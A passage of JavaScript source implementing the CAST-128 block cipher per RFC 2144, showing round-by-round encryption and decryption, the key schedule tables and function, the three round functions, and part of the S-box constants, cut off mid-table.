this.rotate[4]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[5], this.rotate[5]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[6], this.rotate[6]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[7], this.rotate[7]);\n l = t;\n\n t = r;\n r = l ^ f3(r, this.masking[8], this.rotate[8]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[9], this.rotate[9]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[10], this.rotate[10]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[11], this.rotate[11]);\n l = t;\n\n t = r;\n r = l ^ f1(r, this.masking[12], this.rotate[12]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[13], this.rotate[13]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[14], this.rotate[14]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[15], this.rotate[15]);\n l = t;\n\n dst[i] = r >>> 24 & 255;\n dst[i + 1] = r >>> 16 & 255;\n dst[i + 2] = r >>> 8 & 255;\n dst[i + 3] = r & 255;\n dst[i + 4] = l >>> 24 & 255;\n dst[i + 5] = l >>> 16 & 255;\n dst[i + 6] = l >>> 8 & 255;\n dst[i + 7] = l & 255;\n }\n\n return dst;\n };\n\n this.decrypt = function (src) {\n const dst = new Array(src.length);\n\n for (let i = 0; i < src.length; i += 8) {\n let l = src[i] << 24 | src[i + 1] << 16 | src[i + 2] << 8 | src[i + 3];\n let r = src[i + 4] << 24 | src[i + 5] << 16 | src[i + 6] << 8 | src[i + 7];\n let t;\n\n t = r;\n r = l ^ f1(r, this.masking[15], this.rotate[15]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[14], this.rotate[14]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[13], this.rotate[13]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[12], this.rotate[12]);\n l = t;\n\n t = r;\n r = l ^ f3(r, this.masking[11], this.rotate[11]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[10], this.rotate[10]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[9], this.rotate[9]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[8], this.rotate[8]);\n l = t;\n\n t = r;\n r = l ^ f2(r, this.masking[7], this.rotate[7]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[6], this.rotate[6]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[5], this.rotate[5]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[4], this.rotate[4]);\n l = t;\n\n t = r;\n r = l ^ f1(r, this.masking[3], this.rotate[3]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[2], this.rotate[2]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[1], this.rotate[1]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[0], this.rotate[0]);\n l = t;\n\n dst[i] = r >>> 24 & 255;\n dst[i + 1] = r >>> 16 & 255;\n dst[i + 2] = r >>> 8 & 255;\n dst[i + 3] = r & 255;\n dst[i + 4] = l >>> 24 & 255;\n dst[i + 5] = l >> 16 & 255;\n dst[i + 6] = l >> 8 & 255;\n dst[i + 7] = l & 255;\n }\n\n return dst;\n };\n const scheduleA = new Array(4);\n\n scheduleA[0] = new Array(4);\n scheduleA[0][0] = [4, 0, 0xd, 0xf, 0xc, 0xe, 0x8];\n scheduleA[0][1] = [5, 2, 16 + 0, 16 + 2, 16 + 1, 16 + 3, 0xa];\n scheduleA[0][2] = [6, 3, 16 + 7, 16 + 6, 16 + 5, 16 + 4, 9];\n scheduleA[0][3] = [7, 1, 16 + 0xa, 16 + 9, 16 + 0xb, 16 + 8, 0xb];\n\n scheduleA[1] = new Array(4);\n scheduleA[1][0] = [0, 6, 16 + 5, 16 + 7, 16 + 4, 16 + 6, 16 + 0];\n scheduleA[1][1] = [1, 4, 0, 2, 1, 3, 16 + 2];\n scheduleA[1][2] = [2, 5, 7, 6, 5, 4, 16 + 1];\n scheduleA[1][3] = [3, 7, 0xa, 9, 0xb, 8, 16 + 3];\n\n scheduleA[2] = new Array(4);\n scheduleA[2][0] = [4, 0, 0xd, 0xf, 0xc, 0xe, 8];\n scheduleA[2][1] = [5, 2, 16 + 0, 16 + 2, 16 + 1, 16 + 3, 0xa];\n scheduleA[2][2] = [6, 3, 16 + 7, 16 + 6, 16 + 5, 16 + 4, 9];\n scheduleA[2][3] = [7, 1, 16 + 0xa, 16 + 9, 16 + 0xb, 16 + 8, 0xb];\n\n scheduleA[3] = new Array(4);\n scheduleA[3][0] = [0, 6, 16 + 5, 16 + 7, 16 + 4, 16 + 6, 16 + 0];\n scheduleA[3][1] = [1, 4, 0, 2, 1, 3, 16 + 2];\n scheduleA[3][2] = [2, 5, 7, 6, 5, 4, 16 + 1];\n scheduleA[3][3] = [3, 7, 0xa, 9, 0xb, 8, 16 + 3];\n\n const scheduleB = new Array(4);\n\n scheduleB[0] = new Array(4);\n scheduleB[0][0] = [16 + 8, 16 + 9, 16 + 7, 16 + 6, 16 + 2];\n scheduleB[0][1] = [16 + 0xa, 16 + 0xb, 16 + 5, 16 + 4, 16 + 6];\n scheduleB[0][2] = [16 + 0xc, 16 + 0xd, 16 + 3, 16 + 2, 16 + 9];\n scheduleB[0][3] = [16 + 0xe, 16 + 0xf, 16 + 1, 16 + 0, 16 + 0xc];\n\n scheduleB[1] = new Array(4);\n scheduleB[1][0] = [3, 2, 0xc, 0xd, 8];\n scheduleB[1][1] = [1, 0, 0xe, 0xf, 0xd];\n scheduleB[1][2] = [7, 6, 8, 9, 3];\n scheduleB[1][3] = [5, 4, 0xa, 0xb, 7];\n\n scheduleB[2] = new Array(4);\n scheduleB[2][0] = [16 + 3, 16 + 2, 16 + 0xc, 16 + 0xd, 16 + 9];\n scheduleB[2][1] = [16 + 1, 16 + 0, 16 + 0xe, 16 + 0xf, 16 + 0xc];\n scheduleB[2][2] = [16 + 7, 16 + 6, 16 + 8, 16 + 9, 16 + 2];\n scheduleB[2][3] = [16 + 5, 16 + 4, 16 + 0xa, 16 + 0xb, 16 + 6];\n\n scheduleB[3] = new Array(4);\n scheduleB[3][0] = [8, 9, 7, 6, 3];\n scheduleB[3][1] = [0xa, 0xb, 5, 4, 7];\n scheduleB[3][2] = [0xc, 0xd, 3, 2, 8];\n scheduleB[3][3] = [0xe, 0xf, 1, 0, 0xd];\n\n // changed 'in' to 'inn' (in javascript 'in' is a reserved word)\n this.keySchedule = function (inn) {\n const t = new Array(8);\n const k = new Array(32);\n\n let j;\n\n for (let i = 0; i < 4; i++) {\n j = i * 4;\n t[i] = inn[j] << 24 | inn[j + 1] << 16 | inn[j + 2] << 8 | inn[j + 3];\n }\n\n const x = [6, 7, 4, 5];\n let ki = 0;\n let w;\n\n for (let half = 0; half < 2; half++) {\n for (let round = 0; round < 4; round++) {\n for (j = 0; j < 4; j++) {\n const a = scheduleA[round][j];\n w = t[a[1]];\n\n w ^= sBox[4][t[a[2] >>> 2] >>> 24 - 8 * (a[2] & 3) & 0xff];\n w ^= sBox[5][t[a[3] >>> 2] >>> 24 - 8 * (a[3] & 3) & 0xff];\n w ^= sBox[6][t[a[4] >>> 2] >>> 24 - 8 * (a[4] & 3) & 0xff];\n w ^= sBox[7][t[a[5] >>> 2] >>> 24 - 8 * (a[5] & 3) & 0xff];\n w ^= sBox[x[j]][t[a[6] >>> 2] >>> 24 - 8 * (a[6] & 3) & 0xff];\n t[a[0]] = w;\n }\n\n for (j = 0; j < 4; j++) {\n const b = scheduleB[round][j];\n w = sBox[4][t[b[0] >>> 2] >>> 24 - 8 * (b[0] & 3) & 0xff];\n\n w ^= sBox[5][t[b[1] >>> 2] >>> 24 - 8 * (b[1] & 3) & 0xff];\n w ^= sBox[6][t[b[2] >>> 2] >>> 24 - 8 * (b[2] & 3) & 0xff];\n w ^= sBox[7][t[b[3] >>> 2] >>> 24 - 8 * (b[3] & 3) & 0xff];\n w ^= sBox[4 + j][t[b[4] >>> 2] >>> 24 - 8 * (b[4] & 3) & 0xff];\n k[ki] = w;\n ki++;\n }\n }\n }\n\n for (let i = 0; i < 16; i++) {\n this.masking[i] = k[i];\n this.rotate[i] = k[16 + i] & 0x1f;\n }\n };\n\n // These are the three 'f' functions. See RFC 2144, section 2.2.\n\n function f1(d, m, r) {\n const t = m + d;\n const I = t << r | t >>> 32 - r;\n return (sBox[0][I >>> 24] ^ sBox[1][I >>> 16 & 255]) - sBox[2][I >>> 8 & 255] + sBox[3][I & 255];\n }\n\n function f2(d, m, r) {\n const t = m ^ d;\n const I = t << r | t >>> 32 - r;\n return sBox[0][I >>> 24] - sBox[1][I >>> 16 & 255] + sBox[2][I >>> 8 & 255] ^ sBox[3][I & 255];\n }\n\n function f3(d, m, r) {\n const t = m - d;\n const I = t << r | t >>> 32 - r;\n return (sBox[0][I >>> 24] + sBox[1][I >>> 16 & 255] ^ sBox[2][I >>> 8 & 255]) - sBox[3][I & 255];\n }\n\n const sBox = new Array(8);\n sBox[0] = [0x30fb40d4, 0x9fa0ff0b, 0x6beccd2f, 0x3f258c7a, 0x1e213f2f, 0x9c004dd3, 0x6003e540, 0xcf9fc949, 0xbfd4af27, 0x88bbbdb5, 0xe2034090, 0x98d09675, 0x6e63a0e0, 0x15c361d2, 0xc2e7661d, 0x22d4ff8e, 0x28683b6f, 0xc07fd059, 0xff2379c8, 0x775f50e2, 0x43c340d3, 0xdf2f8656, 0x887ca41a, 0xa2d2bd2d, 0xa1c9e0d6, 0x346c4819, 0x61b76d87, 0x22540f2f, 0x2abe32e1, 0xaa54166b, 0x22568e3a, 0xa2d341d0, 0x66db40c8, 0xa784392f, 0x004dff2f, 0x2db9d2de, 0x97943fac, 0x4a97c1d8, 0x527644b7, 0xb5f437a7, 0xb82cbaef, 0xd751d159, 0x6ff7f0ed, 0x5a097a1f, 0x827b68d0, 0x90ecf52e, 0x22b0c054, 0xbc8e5935, 0x4b6d2f7f, 0x50bb64a2, 0xd2664910, 0xbee5812d, 0xb7332290, 0xe93b159f, 0xb48ee411, 0x4bff345d, 0xfd45c240, 0xad31973f, 0xc4f6d02e, 0x55fc8165, 0xd5b1caad, 0xa1ac2dae, 0xa2d4b76d, 0xc19b0c50, 0x882240f2, 0x0c6e4f38, 0xa4e4bfd7, 0x4f5ba272, 0x564c1d2f, 0xc59c5319, 0xb949e354, 0xb04669fe, 0xb1b6ab8a, 0xc71358dd, 0x6385c545, 0x110f935d, 0x57538ad5, 0x6a390493, 0xe63d37e0, 0x2a54f6b3, 0x3a787d5f, 0x6276a0b5, 0x19a6fcdf, 0x7a42206a, 0x29f9d4d5, 0xf61b1891, 0xbb72275e, 0xaa508167, 0x38901091, 0xc6b505eb, 0x84c7cb8c, 0x2ad75a0f, 0x874a1427, 0xa2d1936b, 0x2ad286af, 0xaa56d291, 0xd7894360, 0x425c750d, 0x93b39e26, 0x187184c9, 0x6c00b32d, 0x73e2bb14, 0xa0bebc3c, 0x54623779, 0x64459eab, 0x3f328b82, 0x7718cf82, 0x59a2cea6, 0x04ee002e, 0x89fe78e6, 0x3fab0950, 0x325ff6c2, 0x81383f05, 0x6963c5c8, 0x76cb5ad6, 0xd49974c9, 0xca180dcf, 0x380782d5, 0xc7fa5cf6, 0x8ac31511, 0x35e79e13, 0x47da91d0, 0xf40f9086, 0xa7e2419e, 0x31366241, 0x051ef495, 0xaa573b04, 0x4a805d8d, 0x548300d0, 0x00322a3c, 0xbf64cddf, 0xba57a68e, 0x75c6372b, 0x50afd341, 0xa7c13275, 0x915a0bf5, 0x6b54bfab, 0x2b0b1426, 0xab4cc9d7, 0x449ccd82, 0xf7fbf265, 0xab85c5f3, 0x1b55db94, 0xaad4e324, 0xcfa4bd3f, 0x2deaa3e2, 0x9e204d02, 0xc8bd25ac, 0xeadf55b3, 0xd5bd9e98, 0xe31231b2, 0x2ad5ad6c, 0x954329de, 0xadbe4528, 0xd8710f69, 0xaa51c90f, 0xaa786bf6, 0x22513f1e, 0xaa51a79b, 0x2ad344cc, 0x7b5a41f0, 0xd37cfbad, 0x1b069505, 0x41ece491, 0xb4c332e6, 0x032268d4, 0xc9600acc, 0xce387e6d, 0xbf6bb16c, 0x6a70fb78, 0x0d03d9c9, 0xd4df39de, 0xe01063da, 0x4736f464, 0x5ad328d8, 0xb347cc96, 0x75bb0fc3, 0x98511bfb, 0x4ffbcc35, 0xb58bcf6a, 0xe11f0abc, 0xbfc5fe4a, 0xa70aec10, 0xac39570a, 0x3f04442f, 0x6188b153, 0xe0397a2e, 0x5727cb79, 0x9ceb418f, 0x1cacd68d, 0x2ad37c96, 0x0175cb9d, 0xc69dff09, 0xc75b65f0, 0xd9db40d8, 0xec0e7779, 0x4744ead4, 0xb11c3274, 0xdd24cb9e, 0x7e1c54bd, 0xf01144f9, 0xd2240eb1, 0x9675b3fd, 0xa3ac3755, 0xd47c27af, 0x51c85f4d, 0x56907596, 0xa5bb15e6, 0x580304f0, 0xca042cf1, 0x011a37ea, 0x8dbfaadb, 0x35ba3e4a, 0x3526ffa0, 0xc37b4d09, 0xbc306ed9, 0x98a52666, 0x5648f725, 0xff5e569d, 0x0ced63d0, 0x7c63b2cf, 0x700b45e1, 0xd5ea50f1, 0x85a92872, 0xaf1fbda7, 0xd4234870, 0xa7870bf3, 0x2d3b4d79, 0x42e04198, 0x0cd0ede7, 0x26470db8, 0xf881814c, 0x474d6ad7, 0x7c0c5e5c, 0xd1231959, 0x381b7298, 0xf5d2f4db, 0xab838653, 0x6e2f1e23, 0x83719c9e, 0xbd91e046, 0x9a56456e, 0xdc39200c, 0x20c8c571, 0x962bda1c, 0xe1e696ff, 0xb141ab08, 0x7cca89b9, 0x1a69e783, 0x02cc4843, 0xa2f7c579, 0x429ef47d, 0x427b169c, 0x5ac9f049, 0xdd8f0f00, 0x5c8165bf];\n\n sBox[1] = [0x1f201094, 0xef0ba75b, 0x69e3cf7e, 0x393f4380, 0xfe61cf7a, 0xeec5207a, 0x55889c94, 0x72fc0651, 0xada7ef79, 0x4e1d7235, 0xd55a63ce, 0xde0436ba, 0x99c430ef, 0x5f0c0794, 0x18dcdb7d, 0xa1d6eff3, 0xa0b52f7b, 0x59e83605, 0xee15b094, 0xe9ffd909, 0xdc440086, 0xef944459, 0xba83ccb3, 0xe0c3cdfb, 0xd1da4181, 0x3b092ab1, 0xf997f1c1, 0xa5e6cf7b, 0x01420ddb, 0xe4e7ef5b, 0x25a1ff41, 0xe180f806, 0x1fc41080, 0x179bee7a, 0xd37ac6a9, 0xfe5830a4, 0x98de8b7f, 0x77e83f4e, 0x79929269, 0x24fa9f7b, 0xe113c85b, 0xacc40083, 0xd7503525, 0xf7ea615f, 0x62143154, 0x0d554b63, 0x5d681121, 0xc866c359, 0x3d63cf73, 0xcee234c0, 0xd4d87e87, 0x5c672b21, 0x071f6181, 0x39f7627f, 0x361e3084, 0xe4eb573b, 0x602f64a4, 0xd63acd9c, 0x1bbc4635, 0x9e81032d, 0x2701f50c, 0x99847ab4, 0xa0e3df79, 0xba6cf38c, 0x10843094, 0x2537a95e, 0xf46f6ffe, 0xa1ff3b1f, 0x208cfb6a, 0x8f458c74, 0xd9e0a227, 0x4ec73a34, 0xfc884f69, 0x3e4de8df, 0xef0e0088, 0x3559648d, 0x8a45388c, 0x1d804366, 0x721d9bfd, 0xa58684bb, 0xe8256333, 0x844e8212, 0x128d8098, 0xfed33fb4, 0xce280ae1, 0x27e19ba5, 0xd5a6c252, 0xe49754bd, 0xc5d655dd, 0xeb667064, 0x77840b4d, 0xa1b6a801, 0x84db26a9, 0xe0b56714, 0x21f043b7, 0xe5d05860, 0x54f03084, 0x066ff472, 0xa31aa153, 0xdadc4755, 0xb5625dbf, 0x68561be6, 0x83ca6b94, 0x2d6ed23b, 0xeccf01db, 0xa6d3d0ba, 0xb6803d5c, 0xaf77a709, 0x33b4a34c, 0x397bc8d6, 0x5ee22b95, 0x5f0e5304, 0x81ed6f61, 0x20e74364, 0xb45e1378, 0xde18639b, 0x881ca122, 0xb96726d1, 0x8049a7e8, 0x22b7da7b, 0x5e552d25, 0x5272d237, 0x79d2951c, 0xc60d894c, 0x488cb402, 0x1ba4fe5b, 0xa4b09f6b, 0x1ca815cf, 0xa20c3005, 0x8871df63, 0xb9de2fcb, 0x0cc6c9e9, 0x0beeff53, 0xe3214517, 0xb4542835, 0x9f63293c, 0xee41e729, 0x6e1d2d7c, 0x50045286, 0x1e6685f3, 0xf33401c6, 0x30a22c95, 0x31a70850, 0x60930f13, 0x73f98417, 0xa1269859, 0xec645c44, 0x52c877a9, 0xcdff33a6, 0xa02b1741, 0x7cbad9a2, 0x2180036f, 0x50d99c08, 0xcb3f4861, 0xc26bd765, 0x64a3f6ab, 0x80342676, 0x25a75e7b, 0xe4e6d1fc, 0x20c710e6, 0xcdf0b680, 0x17844d3b, 0x31eef84d, 0x7e0824e4, 0x2ccb49eb, 0x846a3bae, 0x8ff77888, 0xee5d60f6, 0x7af75673, 0x2fdd5cdb, 0xa11631c1, 0x30f66f43, 0xb3faec54, 0x157fd7fa, 0xef8579cc, 0xd152de58, 0xdb2ffd5e, 0x8f32ce19, 0x306af97a, 0x02f03ef8, 0x99319ad5, 0xc242fa0f, 0xa7e3ebb0, 0xc68e4906, 0xb8da230c, 0x80823028, 0xdcdef3c8, 0xd35fb171, 0x088a1bc8, 0xbec0c560, 0x61a3c9e8, 0xbca8f54d, 0xc72feffa, 0x22822e99, 0x82c570b4, 0xd8d94e89, 0x8b1c34bc, 0x301e16e6, 0x273be979, 0xb0ffeaa6, 0x61d9b8c6, 0x00b24869, 0xb7ffce3f, 0x08dc283b, 0x43daf65a, 0xf7e19798, 0x7619b72f, 0x8f1c9ba4, 0xdc8637a0, 0x16a7d3b1, 0x9fc393b7, 0xa7136eeb, 0xc6bcc63e, 0x1a513742, 0xef6828bc, 0x520365d6, 0x2d6a77ab, 0x3527ed4b, 0x821fd216, 0x095c6e2e, 0xdb92f2fb, 0x5eea29cb, 0x145892f5, 0x91584f7f, 0x5483697b, 0x2667a8cc, 0x85196048, 0x8c4bacea, 0x833860d4, 0x0d23e0f9, 0x6c387e8a, 0x0ae6d249, 0xb284600c, 0xd835731d, 0xdcb1c647, 0xac4c56ea, 0x3ebd81b3, 0x230eabb0, 0x6438bc87, 0xf0b5b1fa, 0x8f5ea2b3, 0xfc184642, 0x0a036b7a, 0x4fb089bd, 0x649da589, 0xa345415e, 0x5c038323, 0x3e5d3bb9, 0x43d79572, 0x7e6dd07c, 0x06dfdf1e, 0x6c6cc4ef, 0x7160a539, 0x73bfbe70, 0x83877605, 0x4523ecf1];\n\n sBox[2] = [0x8defc240, 0x25fa5d9f, 0xeb903dbf, 0xe810c907, 0x47607fff, 0x369fe44b, 0x8c1fc644, 0xaececa90, 0xbeb1f9bf, 0xeefbcaea, 0xe8cf1950, 0x51df07ae, 0x920e8806, 0xf0ad0548, 0xe13c8d83, 0x927010d5, 0x11107d9f, 0x07647db9, 0xb2e3e4d4, 0x3d4f285e, 0xb9afa820, 0xfade82e0, 0xa067268b, 0x8272792e, 0x553fb2c0, 0x489ae22b, 0xd4ef9794, 0x125e3fbc, 0x21fffcee, 0x825b1bfd, 0x9255c5ed, 0x1257a240, 0x4e1a8302, 0xbae07fff, 0x528246e7, 0x8e57140e, 0x3373f7bf, 0x8c9f8188, 0xa6fc4ee8, 0xc982b5a5, 0xa8c01db7, 0x579fc264, 0x67094f31, 0xf2bd3f5f, 0x40fff7c1, 0x1fb78dfc, 0x8e6bd2c1, 0x437be59b, 0x99b03dbf, 0xb5dbc64b, 0x638dc0e6, 0x55819d99, 0xa197c81c, 0x4a012d6e, 0xc5884a28, 0xccc36f71, 0xb843c213, 0x6c0743f1, 0x8309893c, 0x0feddd5f, 0x2f7fe850, 0xd7c07f7e, 0x02507fbf, 0x5afb9a04, 0xa747d2d0, 0x1651192e, 0xaf70bf3e, 0x58c31380, 0x5f98302e, 0x727cc3c4, 0x0a0fb402, 0x0f7fef82, 0x8c96fdad, 0x5d2c2aae, 0x8ee99a49, 0x50da88b8, 0x8427f4a0, 0x1eac5790, 0x796fb449, 0x8252dc15, 0xefbd7d9b, 0xa672597d, 0xada840d8, 0x45f54504, 0xfa5d7403, 0xe83ec305, 0x4f91751a, 0x925669c2, 0x23efe941, 0xa903f12e, 0x60270df2, 0x0276e4b6, 0x94fd6574, 0x927985b2, 0x8276dbcb, 0x02778176, 0xf8af918d, 0x4e48f79e, 0x8f616ddf, 0xe29d840e, 0x842f7d83, 0x340ce5c8, 0x96bbb682, 0x93b4b148, 0xef303cab, 0x984faf28, 0x779faf9b, 0x92dc560d, 0x224d1e20, 0x8437aa88, 0x7d29dc96, 0x2756d3dc, 0x8b907cee, 0xb51fd240, 0xe7c07ce3, 0xe566b4a1, 0xc3e9615e, 0x3cf8209d, 0x6094d1e3, 0xcd9ca341, 0x5c76460e, 0x00ea983b, 0xd4d67881, 0xfd47572c, 0xf76cedd9, 0xbda8229c, 0x127dadaa, 0x438a074e, 0x1f97c090, 0x081bdb8a, 0x93a07ebe, 0xb938ca15, 0x97b03cff, 0x3dc2c0f8, 0x8d1ab2ec, 0x64380e51, 0x68cc7bfb, 0xd90f2788, 0x12490181, 0x5de5ffd4, 0xdd7ef86a, 0x76a2e214, 0xb9a40368, 0x925d958f, 0x4b39fffa, 0xba39aee9, 0xa4ffd30b, 0xfaf7933b, 0x6d498623, 0x193cbcfa, 0x27627545, 0x825cf47a, 0x61bd8ba0, 0xd11e42d1, 0xcead04f4, 0x127ea392, 0x10428db7, 0x8272a972, 0x9270c4a8, 0x127de50b, 0x285ba1c8, 0x3c62f44f, 0x35c0eaa5, 0xe805d231, 0x428929fb, 0xb4fcdf82, 0x4fb66a53, 0x0e7dc15b, 0x1f081fab, 0x108618ae, 0xfcfd086d, 0xf9ff2889, 0x694bcc11, 0x236a5cae, 0x12deca4d, 0x2c3f8cc5, 0xd2d02dfe, 0xf8ef5896, 0xe4cf52da, 0x95155b67, 0x494a488c, 0xb9b6a80c, 0x5c8f82bc, 0x89d36b45, 0x3a609437, 0xec00c9a9, 0x44715253, 0x0a874b49, 0xd773bc40, 0x7c34671c, 0x02717ef6, 0x4feb5536, 0xa2d02fff, 0xd2bf60c4, 0xd43f03c0, 0x50b4ef6d, 0x07478cd1, 0x006e1888, 0xa2e53f55, 0xb9e6d4bc, 0xa2048016, 0x97573833, 0xd7207d67, 0xde0f8f3d, 0x72f87b33, 0xabcc4f33, 0x7688c55d, 0x7b00a6b0, 0x947b0001, 0x570075d2, 0xf9bb88f8, 0x8942019e, 0x4264a5ff, 0x856302e0, 0x72dbd92b, 0xee971b69, 0x6ea22fde, 0x5f08ae2b, 0xaf7a616d, 0xe5c98767, 0xcf1febd2, 0x61efc8c2, 0xf1ac2571, 0xcc8239c2, 0x67214cb8, 0xb1e583d1, 0xb7dc3e62, 0x7f10bdce, 0xf90a5c38, 0x0ff0443d, 0x606e6dc6, 0x60543a49, 0x5727c148, 0x2be98a1d, 0x8ab41738, 0x20e1be24, 0xaf96da0f, 0x68458425, 0x99833be5, 0x600d457d, 0x282f9350, 0x8334b362, 0xd91d1120, 0x2b6d8da0, 0x642b1e31, 0x9c305a00, 0x52bce688, 0x1b03588a, 0xf7baefd5, 0x4142ed9c, 0xa4315c11, 0x83323ec5, 0xdfef4636, 0xa133c501, 0xe9d3531c, 0xee353783];\n\n sBox[3] = [0x9db30420, 0x1fb6e9de, 0xa7be7bef, 0xd273a298, 0x4a4f7bdb, 0x64ad8c57, 0x85510443, 0xfa020ed1, 0x7e287aff, 0xe60fb663, 0x095f35a1, 0x79ebf120, 0xfd059d43, 0x6497b7b1, 0xf3641f63, 0x241e4adf, 0x28147f5f, 0x4fa2b8cd, 0xc9430040, 0x0cc32220, 0xfdd30b30, 0xc0a5374f, 0x1d2d00d9, 0x24147b15, 0xee4d111a, 0x0fca5167, 0x71ff904c, 0x2d195ffe, 0x1a05645f, 0x0c13fefe, 0x081b08ca, 0x05170121, 0x80530100, 0xe83e5efe, 0xac9af4f8, 0x7fe72701, 0xd2b8ee5f, 0x06df4261, 0xbb9e9b8a, 0x7293ea25, 0xce84ffdf, 0xf5718801, 0x3dd64b04, 0xa26f263b, 0x7ed48400, 0x547eebe6, 0x446d4ca0, 0x6cf3d6f5, 0x2649abdf, 0xaea0c7f5, 0x36338cc1, 0x503f7e93, 0xd3772061, 0x11b638e1, 0x72500e03, 0xf80eb2bb, 0xabe0502e, 0xec8d77de, 0x57971e81, 0xe14f6746, 0xc9335400, 0x6920318f, 0x081dbb99, 0xffc304a5, 0x4d351805, 0x7f3d5ce3, 0xa6c866c6, 0x5d5bcca9, 0xdaec6fea, 0x9f926f91, 0x9f46222f, 0x3991467d, 0xa5bf6d8e, 0x1143c44f, 0x43958302, 0xd0214eeb, 0x022083b8, 0x3fb6180c, 0x18f8931e, 0x281658e6, 0x26486e3e, 0x8bd78a70, 0x7477e4c1, 0xb506e07c, 0xf32d0a25, 0x79098b02, 0xe4eabb81, 0x28123b23, 0x69dead38, 0x1574ca16, 0xdf871b62, 0x211c40b7, 0xa51a9ef9, 0x0014377b, 0x041e8ac8, 0x09114003, 0xbd59e4d2, 0xe3d156d5, 0x4fe876d5, 0x2f91a340, 0x557be8de, 0x00eae4a7, 0x0ce5c2ec, 0x4db4bba6, 0xe756bdff, 0xdd3369ac, 0xec17b035, 0x06572327, 0x99afc8b0, 0x56c8c391, 0x6b65811c, 0x5e146119, 0x6e85cb75, 0xbe07c002, 0xc2325577, 0x893ff4ec, 0x5bbfc92d, 0xd0ec3b25, 0xb7801ab7, 0x8d6d3b24, 0x20c763ef, 0xc366a5fc, 0x9c382880, 0x0ace3205, 0xaac9548a, 0xeca1d7c7, 0x041afa32, 0x1d16625a, 0x6701902c, 0x9b757a54, 0x31d477f7, 0x9126b031, 0x36cc6fdb, 0xc70b8b46, 0xd9e66a48, 0x56e55a79, 0x026a4ceb, 0x52437eff, 0x2f8f76b4, 0x0df980a5, 0x8674cde3, 0xedda04eb, 0x17a9be04, 0x2c18f4df, 0xb7747f9d, 0xab2af7b4, 0xefc34d20, 0x2e096b7c, 0x1741a254, 0xe5b6a035, 0x213d42f6, 0x2c1c7c26, 0x61c2f50f, 0x6552daf9, 0xd2c231f8, 0x25130f69, 0xd8167fa2, 0x0418f2c8, 0x001a96a6, 0x0d1526ab, 0x63315c21, 0x5e0a72ec, 0x49bafefd, 0x187908d9, 0x8d0dbd86, 0x311170a7, 0x3e9b640c, 0xcc3e10d7, 0xd5cad3b6, 0x0caec388, 0xf73001e1, 0x6c728aff, 0x71eae2a1, 0x1f9af36e, 0xcfcbd12f, 0xc1de8417, 0xac07be6b, 0xcb44a1d8, 0x8b9b0f56, 0x013988c3, 0xb1c52fca, 0xb4be31cd, 0xd8782806, 0x12a3a4e2, 0x6f7de532, 0x58fd7eb6, 0xd01ee900, 0x24adffc2, 0xf4990fc5, 0x9711aac5, 0x001d7b95, 0x82e5e7d2, 0x109873f6, 0x00613096, 0xc32d9521, 0xada121ff, 0x29908415, 0x7fbb977f, 0xaf9eb3db, 0x29c9ed2a, 0x5ce2a465, 0xa730f32c, 0xd0aa3fe8, 0x8a5cc091, 0xd49e2ce7, 0x0ce454a9, 0xd60acd86, 0x015f1919, 0x77079103, 0xdea03af6, 0x78a8565e, 0xdee356df, 0x21f05cbe, 0x8b75e387, 0xb3c50651, 0xb8a5c3ef, 0xd8eeb6d2, 0xe523be77, 0xc2154529, 0x2f69efdf, 0xafe67afb, 0xf470c4b2, 0xf3e0eb5b, 0xd6cc9876, 0x39e4460c, 0x1fda8538, 0x1987832f, 0xca007367, 0xa99144f8, 0x296b299e, 0x492fc295, 0x9266beab, 0xb5676e69, 0x9bd3ddda, 0xdf7e052f, 0xdb25701c, 0x1b5e51ee, 0xf65324e6, 0x6afce36c, 0x0316cc04, 0x8644213e, 0xb7dc59d0, 0x7965291f, 0xccd6fd43, 0x41823979, 0x932bcdf6, 0xb657c34d, 0x4edfd282, 0x7ae5290c, 0x3cb9536b, 0x851e20fe, 0x9833557e, 0x13ecf0b0, 0xd3ffb372, 0x3f85c5c1, 0x0aef7ed2];\n\n sBox[4] = [0x7ec90c04, 0x2c6e74b9, 0x9b0e66df, 0xa6337911, 0xb86a7fff, 0x1dd358f5, 0x44dd9d44, 0x1731167f, 0x08fbf1fa, 0xe7f511cc, 0xd2051b00, 0x735aba00, 0x2ab722d8, 0x386381cb, 0xacf6243a, 0x69befd7a, 0xe6a2e77f, 0xf0c720cd, 0xc4494816, 0xccf5c180, 0x38851640, 0x15b0a848, 0xe68b18cb, 0x4caadeff, 0x5f480a01, 0x0412b2aa, 0x259814fc, 0x41d0efe2, 0x4e40b48d, 0x248eb6fb, 0x8dba1cfe, 0x41a99b02, 0x1a550a04, 0xba8f65cb, 0x7251f4e7, 0x95a51725, 0xc106ecd7, 0x97a5980a, 0xc539b9aa, 0x4d79fe6a, 0xf2f3f763, 0x68af8040, 0xed0c9e56, 0x11b4958b, 0xe1eb5a88, 0x8709e6b0, 0xd7e07156, 0x4e29fea7, 0x6366e52d, 0x02d1c000, 0xc4ac8e05, 0x9377f571, 0x0c05372a, 0x578535f2, 0x2261be02, 0xd642a0c9, 0xdf13a280, 0x74b55bd2, 0x682199c0, 0xd421e5ec, 0x53fb3ce8, 0xc8adedb3, 0x28a87fc9, 0x3d959981, 0x5c1ff900, 0xfe38d399, 0x0c4eff0b, 0x062407ea, 0xaa2f4fb1, 0x4fb96976, 0x90c79505, 0xb0a8a774, 0xef55a1ff, 0xe59ca2c2, 0xa6b62d27, 0xe66a4263, 0xdf65001f, 0x0ec50966, 0xdfdd55bc, 0x29de0655, 0x911e739a, 